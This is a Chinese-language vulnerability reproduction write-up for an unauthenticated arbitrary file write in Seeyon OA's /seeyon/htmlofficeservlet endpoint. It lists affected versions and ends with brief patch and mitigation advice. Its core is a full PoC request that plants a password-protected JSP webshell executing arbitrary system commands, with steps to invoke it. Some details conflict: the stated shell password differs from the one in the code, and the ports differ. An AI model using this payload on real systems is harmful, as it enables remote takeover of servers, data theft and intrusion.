办公系统致远OA漏洞

时间:2024-02-16 20:51:28

漏洞描述

致远 OA 系统的一些版本存在任意文件写入漏洞,远程攻击者在无需登录的情况下可通过向 URL /seeyon/htmlofficeservlet POST 精心构造的数据即可向目标服务器写入任意文件,写入成功后可执行任意系统命令进而控制目标服务器。

漏洞范围

致远 A8-V5 协同管理软件 V6.1sp1

致远 A8+ 协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3

致远 A8+ 协同管理软件 V7.1

漏洞复现过程

  1. 网站地址:http://127.0.0.1:8888/seeyon/(涉及敏感信息,用本机ip代替)

  2. 验证是否存在漏洞,访问/seeyon/htmlofficeservlet路径,出现DBSTEP V3.0 0 21 0 htmoffice operate err
    哪就证明可能漏洞是存在的。

  3. 打开bp开始抓包,将包改为post请求方式,并且删除cookie字段的loginpageurl值。没有cookie值的自己把cookie值加上去。(在浏览器网络请求中可以找到cookie值)。

  4. 将下面的poc复制到包中,并且发送。

    DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV
    OPTION=S3WYOSWLBSGr
    currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
    CREATEDATE=wUghPB3szB3Xwg66
    RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
    originalFileId=wV66
    originalCreateDate=wUghPB3szB3Xwg66
    FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
    needReadFile=yRWZdAS6
    originalCreateDate=wLSGP4oEzLKAz4=iz=66
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
    

    成功插入jsp木马,默认文件名是test123456,木马密码是asasd3344。

  5. 访问木马文件,http://127.0.0.1:8088/seeyon/test123456.jsp,运行代码/seeyon/test123456.jsp?pwd=asasd3344&cmd=whoami。可执行相应命令。

修复建议

  1. 联系致远官方获取补丁: http://www.seeyon.com/info/company.html

  2. 缓解措施:可在不影响系统正常使用的情况下,部署在公网的服务器限制外网对 /seeyon/htmlofficeservlet 路径的访问或关闭网站对外访问。